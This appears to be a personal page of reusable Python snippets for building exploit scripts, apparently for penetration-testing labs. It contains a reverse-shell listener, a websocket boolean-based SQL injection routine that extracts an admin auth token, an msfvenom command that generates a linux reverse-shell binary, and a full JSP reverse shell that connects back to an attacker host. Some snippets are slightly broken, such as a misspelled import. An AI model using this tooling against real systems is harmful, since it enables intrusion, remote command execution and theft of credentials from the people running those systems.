Helpful Python Methods
Define argument parsing only if the file is being run directly, not imported by another script.
import argparse
if __name__ == "__main__":
# Parse Arguments
parser = argparse.ArgumentParser()
parser.add_argument('-t','--target', help='Target IP', required=True)
parser.add_argument('-p','--port', help='Target port', required=False)
parser.add_argument('-lh','--lhost',help='Local IP',required=False)
parser.add_argument('-lp','--lport',help='Local port for listener',required=False)
parser.add_argument('-d','--debug', help='Instruct our web requests to use a proxy', action='store_true', required=False)
parser.add_argument('-v','--verbose', help='Enable verbose tracing with our websocket', action='store_true', required=False)
args = parser.parse_args()
# Set some variables
target_ip = args.target
url = f"http://{args.target}"
if args.port:
url = f"{url}:{args.port}"
lhost = args.lhost
lport = args.lport
# Debugging
if args.debug:
print('Degguging Enabled, requests will be sent through Burp.')
proxies = {"http": "http://127.0.0.1:8080", "https": "http://127.0.0.1:8080"}
else:
proxies = ''
# H4ck the things
initiate(url, args.debug, args.verbose)
The following method defines a threaded HTTP server. The method can just be called directly and it will start in a new thread.
from http.server import HTTPServer, SimpleHTTPRequestHandler
def http_server():
server = HTTPServer(('0.0.0.0',80),SimpleHTTPRequestHandler)
server_thread = threading.Thread(target=server.serve_forever)
server_thread.start()
The following defines a telnet listener method and the code used to spawn it in a non-blocking thread. Unlike the threaded HTTP server, it has to be started outside of the telnet_handler() method, as shown below.
import telnetlib
import socket
import threading
def telnet_handler(port: int):
"""
starts a telnet server and acts as a hacky shell handler
"""
print(f"Starting handler on {port}")
t = telnetlib.Telnet()
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 2) # make it stop whining about address reuse
# port has to be an integer
s.bind(('0.0.0.0', port)) # listen from every interface and bind to user defined port
s.listen(1)
conn, addr = s.accept() # Accepts incoming connection
print(f"Recieved connection from {addr[0]}") # Recieved connection from <victim IP>
t.sock = conn
t.interact() # foregrounds the reverse shell
# Starts threaded handler listener, should be the same for every script
handlerthread = threading.Thread(target=telnet_handler, args=(int(lport),))
handlerthread.start()
The following methods enable base64 encoding and decoding of a string.
import base64
def b64_encode(s):
s_bytes = s.encode("ascii")
b64_bytes = base64.b64encode(s_bytes)
b64_str = b64_bytes.decode("ascii")
return b64_str
def b64_decode(s):
b64_bytes = s.encode("ascii")
string_bytes = base64.b64decode(b64_bytes)
string_str = string_bytes.decode("ascii")
return string_str
The following methods are used so I don't have to keep retyping the entire r = requests.post() thing every time.
import requests
def post_req(uri,params):
r = requests.post(uri, data=params, verify=False, proxies=proxies, headers={"Content-Type":"application/x-www-form-urlencoded"})
return r
def get_req(uri,params):
r = requests.get(uri, params=params, verify=False, proxies=proxies)
return r
def login_sess(s,uri,params):
r = s.post(uri, data=params, verify=False, proxies=proxies, headers={"Content-Type":"application/x-www-form-urlencoded; charset=UTF-8"})
return r
def post_sess(s,uri,params,ctype,atype,auth):
r = s.post(uri, data=params, verify=False, proxies=proxies, headers={"Content-Type":ctype,"Accept":atype,"Authorization":"Basic "+auth})
return r
def get_sess(s,uri,params):
r = s.get(uri, params=params, verify=False, proxies=proxies)
return r
The following defines a method that allows a string to be URL sanitized prior to being sent through a requests POST or GET.
def url_escape(s):
# This function is used to perform the required url escaping for body/query parameters
s = s.replace("%","%25") # This has to be first in list
s = s.replace("{", "%7b")
s = s.replace("}","%7d")
s = s.replace("\"","%22")
s = s.replace(":","%3a")
s = s.replace(",","%2c")
s = s.replace("@","%40")
s = s.replace("<","%3c")
s = s.replace(">","%3e")
s = s.replace("+", "%2b")
s = s.replace("=", "%3d")
s = s.replace("\\","%5c")
s = s.replace("/", "%2f")
s = s.replace("|", "%7c")
s = s.replace("[", "%5b")
s = s.replace("]", "%5d")
s = s.replace(" ", "+") # [Space] -> + (Keep as last line)
return s
The following method will save a b64 string to a file. I used this to save a precompiled java .class files, but am thinking it would probably be cleaner to just store the raw .java as a variable in the script, then use os calls to compile it from within the script itself.
import os
def save_file(f,d):
os.system('echo %s | base64 -d > %s' % (d,f))
The following code can be used to set up a websocket connection then execute boolean-based sql injection over it.
import re
import websocket # pip package should be websocket-client
import _thread as thread
from threading import Events
def getAdminToken(message):
if 'case 3' in message:
global tokenStatus
tokenStatus = True
event.set()
elif 'case 4' in message:
event.set()
def getAuthToken(message):
if 'token' in message:
global token
token = re.findall('.*"token":"(.*)"', message)[0]
event.set()
def getPostLogin(message):
if 'case 1' in message:
print('Case 1 happened...')
event.set()
elif 'case 2' in message:
print('Case 2 happened...')
event.set()
def on_message(ws, message):
getAdminToken(message)
getAuthToken(message)
getPostLogin(message)
def sqli_extract(ws, injStr):
for c in range(32, 127): # range of all ascii printable chars
if c == 34: # skip bad char: `"`; remove unless required in actual script
continue
else:
global tokenStatus
tokenStatus = False
print("\r"+adminToken+chr(c), end='')
data = '0["route",{"tokenName":"%s","searchParam":"a%s"}]' % (token, injStr.replace("[CHAR]", chr(c)))
ws.send(data)
event.wait()
event.clear()
if tokenStatus:
return chr(c)
def on_open(ws):
print("### Initiating new websocket connection ###")
# Define Thread
def run(*args):
while True:
# Dump Admin AuthToken
print("Performing boolean-based sqli for admin token...")
global adminToken
adminToken = ''
for p in range(1, 32): # tokens are all 32 chars
injStr = "%s' AND SUBSTRING((SELECT token FROM AuthTokens WHERE UserId = 1), %d, 1) = '[CHAR]';#" % ('%',p)
validChar = sqli_extract(ws, injStr)
adminToken += validChar
print(f"\rAdmin Token: {adminToken}")
# Run thread, run.
thread.start_new_thread(run, ())
def initiate(target, debug, verbose):
# create shared event object
global event
event = Event()
uri = "ws://%s/socket.io/?EIO=3&transport=websocket&t=NMxgB5J&sid=" % target
websocket.enableTrace(verbose)
ws = websocket.WebSocketApp(uri,
on_message = on_message,
on_error = on_error,
on_close = on_close)
ws.on_open = on_open
if debug:
ws.run_forever(http_proxy_host='127.0.0.1', http_proxy_port=8080, proxy_type='http')
else:
ws.run_forever()
# H4ck the things
initiate(target, args.debug, args.verbose)
The os class can be used to leverage java on the host machine to perform some actions, in this case feeding in variables set earlier in the scripts execution to a compiled java .class file to generate a list of tokens using logic copied from a web applications source code. The save_file method can be used to save a base64 encoded version of the .class file to prevent potential compilation errors if trying to executed javac on the users host.
import os
os.system(f'java answersToken {seed_start} {seed_stop} {userId} > tokens.txt')
This same approach can be used for any action that would typically require the user to perform something prior to executing the script, in order to stage files for the script to utilize. Here it creates a new msfvenom shell on the attackers machine at execution time, using arg parsed vars for lhost and lport. This could even be tweaked to set things like payload type with arg vars as well.
import os
os.system(f'msfvenom -p linux/x64/shell_reverse_tcp LHOST={lhost} LPORT={lport} -f elf -o file')
The following is used to create a plaintext version of a reverse shell with arg parsed vars. In this case, it is a JSP reverse shell.
#genereated with msfvenom -p java/jsp_shell_reverse_tcp LHOST=192.168.119.xxx LPORT=443 -f raw then convereted to use variables for LHOST and LPORT
rvsh = "<%@page import=\"java.lang.*\"%>"
rvsh += "<%@page import=\"java.util.*\"%>"
rvsh += "<%@page import=\"java.io.*\"%>"
rvsh += "<%@page import=\"java.net.*\"%>"
rvsh += "<%"
rvsh += " class StreamConnector extends Thread"
rvsh += " {"
rvsh += " InputStream es;"
rvsh += " OutputStream yx; "
rvsh += " StreamConnector( InputStream es, OutputStream yx )"
rvsh += " {"
rvsh += " this.es = es;"
rvsh += " this.yx = yx;"
rvsh += " }"
rvsh += " public void run()"
rvsh += " {"
rvsh += " BufferedReader nz = null;"
rvsh += " BufferedWriter mvp = null;"
rvsh += " try"
rvsh += " {"
rvsh += " nz = new BufferedReader( new InputStreamReader( this.es ) );"
rvsh += " mvp = new BufferedWriter( new OutputStreamWriter( this.yx ) );"
rvsh += " char buffer[] = new char[8192];"
rvsh += " int length;"
rvsh += " while( ( length = nz.read( buffer, 0, buffer.length ) ) > 0 )"
rvsh += " {"
rvsh += " mvp.write( buffer, 0, length );"
rvsh += " mvp.flush();"
rvsh += " }"
rvsh += " } catch( Exception e ){}"
rvsh += " try"
rvsh += " {"
rvsh += " if( nz != null )"
rvsh += " nz.close();"
rvsh += " if( mvp != null )"
rvsh += " mvp.close();"
rvsh += " } catch( Exception e ){}"
rvsh += " }"
rvsh += " }"
rvsh += " try"
rvsh += " {"
rvsh += " String ShellPath;"
rvsh += " ShellPath = new String(\"/bin/sh\");"
rvsh += " Socket socket = new Socket( \""+host_ip+"\", "+host_port+" );"
rvsh += " Process process = Runtime.getRuntime().exec( ShellPath );"
rvsh += " ( new StreamConnector( process.getInputStream(), socket.getOutputStream() ) ).start();"
rvsh += " ( new StreamConnector( socket.getInputStream(), process.getOutputStream() ) ).start();"
rvsh += " } catch( Exception e ) {}"
rvsh += "%>"
The following methods define my shoddy "logging", because I can't be bothered reading up on the actual logging module right now.
def log_info(s):
print(f"[+] {s}")
def log_success(s):
print(f"[*] {s}")
def log_fail(s):
print(f"[-] {s}")
def log_error(s):
print(f"[!] {s}")
Boolean-Based SQL Injection
def sqli_extract(ws, injStr):
for c in range(32, 127): # range of all ascii printable chars
tokenStatus = False
print("\r"+adminToken+chr(c), end='')
data = '0["route",{"tokenName":"%s","searchParam":"a%s"}]' % (token, injStr.replace("[CHAR]", chr(c)))
# POST Data with requests
# if statement to break if proper string or whatever identifier is in response
adminToken = ''
for p in range(1, 32): # tokens are all 32 chars
injStr = "%s' AND SUBSTRING((SELECT token FROM AuthTokens WHERE UserId = 1), %d, 1) = '[CHAR]';#" % ('%',p)
validChar = sqli_extract(ws, injStr)
adminToken += validChar
print(f"\rAdmin Token: {adminToken}")
Requests - POST multipart/form-data
Better still, you can further control the filename, content type and additional headers for each part by using a tuple instead of a single string or bytes object. The tuple is expected to contain between 2 and 4 elements; the filename, the content, optionally a content type, and an optional dictionary of further headers.
I'd use the tuple form with None
as the filename, so that the filename="..."
parameter is dropped from the request for those parts:
```python
>>> files = {'foo': 'bar'}
>>> print(requests.Request('POST', 'http://httpbin.org/post', files=files).prepare().body.decode('utf8'))
--bb3f05a247b43eede27a124ef8b968c5
Content-Disposition: form-data; name="foo"; filename="foo"
bar
--bb3f05a247b43eede27a124ef8b968c5--
>>> files = {'foo': (None, 'bar')}
>>> print(requests.Request('POST', 'http://httpbin.org/post', files=files).prepare().body.decode('utf8'))
--d5ca8c90a869c5ae31f70fa3ddb23c76
Content-Disposition: form-data; name="foo"
bar
--d5ca8c90a869c5ae31f70fa3ddb23c76--